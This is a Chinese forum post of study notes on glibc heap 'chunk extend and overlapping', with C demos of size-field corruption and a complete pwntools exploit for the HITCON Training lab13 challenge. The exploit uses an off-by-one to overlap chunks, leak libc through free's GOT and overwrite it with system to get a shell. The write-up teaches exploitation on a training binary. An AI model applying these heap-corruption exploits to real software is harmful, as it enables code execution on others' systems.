首页
论坛
课程
招聘
雪    币: 2213
活跃值: 活跃值 (2077)
能力值: ( LV12,RANK:310 )
在线值:
发帖
回帖
粉丝

[原创]Chunk Extend and Overlapping笔记

2020-6-26 16:17 1923

[原创]Chunk Extend and Overlapping笔记

2020-6-26 16:17
1923

对 inuse 的 fastbin 进行 extend

gcc -g 1.c
int main(void)
{
    void *ptr,*ptr1;

    ptr=malloc(0x10);//分配第一个0x10的chunk
    malloc(0x10);//分配第二个0x10的chunk

    *(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域

    free(ptr);
    ptr1=malloc(0x30);// 实现 extend,控制了第二个块的内容
    return 0;
}

然后 gdb 调试,因为前面 gcc 带着 -g 的参数,所以可以直接 b 行号 下断点


当程序进行了两次 malloc 之后堆的情况是这样的


image.png


下面第九行对 chunk1 的 size 位进行修改,成了这样


image.png


对 chunk1 进行 free 操作之后,两个合为一个 0x40 大小的了


image.png


之后我们再去 malloc 0x30 的话得到的就是 chunk1 跟 chunk2 一起的那个了,我们就可以控制 chunk2 的内容


对 inuse 的 smallbin 进行 extend

//gcc -g 2.c
//注意把之前那个a.out给删掉
int main()
{
    void *ptr,*ptr1;

    ptr=malloc(0x80);//分配第一个 0x80 的chunk1
    malloc(0x10); //分配第二个 0x10 的chunk2
    malloc(0x10); //防止与top chunk合并

    *(int *)((int)ptr-0x8)=0xb1;
    free(ptr);
    ptr1=malloc(0xa0);
}

由于这个例子的申请的 ptr 这个不在 fastbins 中,如果跟 top chunk 相邻,释放的时候会合并掉,所以后面加上一个 chunk,把他们隔离开,防止合并


分别在 11、12、13 行下断点,这是三次 malloc 结束之后的情况


image.png


这是修改之后的情况


image.png


这时候 free,因为不在 fastbin 范围里面,会放到 unsorted bins 中,可以注意到本来用来隔离的那一个 chunk 的 P 位被标为 0


image.png


这时候再 malloc 回来就能控制 chunk2 了


对 free 的 smallbin 进行 extend

//gcc -g 3.c
int main()
{
    void *ptr,*ptr1;

    ptr=malloc(0x80);//分配第一个0x80的chunk1
    malloc(0x10);//分配第二个0x10的chunk2

    free(ptr);//首先进行释放,使得chunk1进入unsorted bin

    *(int *)((int)ptr-0x8)=0xb1;
    ptr1=malloc(0xa0);
}

下好断点,两次 malloc 之后


image.png


free 之后,放入到 unsorted bins 中


image.png


对 size 位进行修改,然后再次 malloc 的时候就能对 chunk2 进行控制了


image.png


通过 extend 后向 overlapping

//gcc -g 4.c
int main()
{
    void *ptr,*ptr1;

    ptr=malloc(0x10);//分配第1个 0x80 的chunk1
    malloc(0x10); //分配第2个 0x10 的chunk2
    malloc(0x10); //分配第3个 0x10 的chunk3
    malloc(0x10); //分配第4个 0x10 的chunk4    
    *(int *)((int)ptr-0x8)=0x61;
    free(ptr);
    ptr1=malloc(0x50);
}

四次 malloc 之后


image.png


修改之后成了这样子


image.png


free 之后


image.png


这时候再去 malloc 就能控制那几个堆块了


通过 extend 前向 overlapping

//gcc -g 5.c
int main(void)
{
    void *ptr1,*ptr2,*ptr3,*ptr4;
    ptr1=malloc(128);//smallbin1
    ptr2=malloc(0x10);//fastbin1
    ptr3=malloc(0x10);//fastbin2
    ptr4=malloc(128);//smallbin2
    malloc(0x10);//防止与top合并
    free(ptr1);
    *(int *)((long long)ptr4-0x8)=0x90;//修改pre_inuse域
    *(int *)((long long)ptr4-0x10)=0xd0;//修改pre_size域
    free(ptr4);//unlink进行前向extend
    malloc(0x150);//占位块
}

前面几次 malloc 之后


image.png


对 ptr1 进行 free 之后,可以看到 ptr2 的那个 p 位已经变成 0 了


image.png


修改之后


image.png


free 操作


image.png


HITCON Trainging lab13


实现了增删改查的功能,index 是从 0 开始的,结构是这样的:

一开始先会申请一个 0x10 的 chunk,用来存放申请的 heap 的大小和指针,然后后面才会申请要申请的 heap 的 chunk


image.png


有一个 off by one 的漏洞,heaparray[a1] 本来就是存的 size,加上了个 1,可不就是多写了一位


image.png


这是创建的时候的 size


image.png


可以通用来写下一个堆块的 size 字段,伪造 chunk 的大小,然后 overlapping 更改指针


free 函数的 got 表项的地址


image.png


通过 off by one 把下一个 chunk 的 size 位给改为 0x41,这里的 heap 申请的是 0x18,多出来的 0x8 会直接用下一个 chunk 的 prev_size,所以我们才能把下一个的 size 给覆盖掉


image.png


然后在释放的时候,我们释放了一个 0x40,一个 0x20,那么下一次申请的时候,要先申请 0x20 的结构体,所以会先在 0x603060 那个地方存放结构体,在 0x603070 这里放申请的 heap,而写内容的时候恰好可以把结构体的内容给覆盖掉


p64(0) * 4 + p64(0x30) + p64(heap.got['free'])


image.png


这样,当 show 的时候展示的就是 free 的 got,拿到他以后可以用来计算 libc,另外,因为在刚刚申请的结构体中,内容现在指向的是 free 的 got,所以只要编辑内容就能够直接把 free 的 got 表里改成 system 的地址


然后之前我们已经把第 0 个 heap 的内容给改成了 /bin/sh,这时候只要 delete(0) 就能拿到 shell

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
r = process('./heapcreator')
heap = ELF('./heapcreator')
libc = ELF('./libc.so.6')
context.log_level = 'debug'

def create(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)

def edit(idx, content):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))
    r.recvuntil(":")
    r.sendline(content)

def show(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))

def delete(idx):
    r.recvuntil(":")
    r.sendline("4")
    r.recvuntil(":")
    r.sendline(str(idx))

free_got = 0x602018
create(0x18, "dada")  # 0
create(0x10, "ddaa")  # 1
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
delete(1)
create(0x30, p64(0) * 4 + p64(0x30) + p64(heap.got['free']))  #1
show(1)
r.recvuntil("Content : ")
data = r.recvuntil("Done !")
free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
edit(1, p64(system_addr))
delete(0)
r.interactive()


2020,给你一个诚意满满的夏令营!

最后于 2020-6-26 19:29 被yichen115编辑 ,原因: 再试试能发出来不
最新回复 (3)
雪    币: 2213
活跃值: 活跃值 (2077)
能力值: ( LV12,RANK:310 )
在线值:
发帖
回帖
粉丝
yichen115 活跃值 4 2020-6-26 16:21
2
0
emmm编辑的时候很多内容,发布之后就剩这一点了
雪    币: 2213
活跃值: 活跃值 (2077)
能力值: ( LV12,RANK:310 )
在线值:
发帖
回帖
粉丝
yichen115 活跃值 4 2020-6-26 19:31
3
0
yichen115 emmm编辑的时候很多内容,发布之后就剩这一点了[em_36][em_79]
我知道怎么回事了,被一个emoji给截断了
雪    币: 4807
活跃值: 活跃值 (2804)
能力值: (RANK:65 )
在线值:
发帖
回帖
粉丝
Editor 活跃值 2020-6-27 09:23
4
0
yichen115 我知道怎么回事了,被一个emoji给截断了[em_80]
是的,论坛过滤太严格了。
游客
登录 | 注册 方可回帖
返回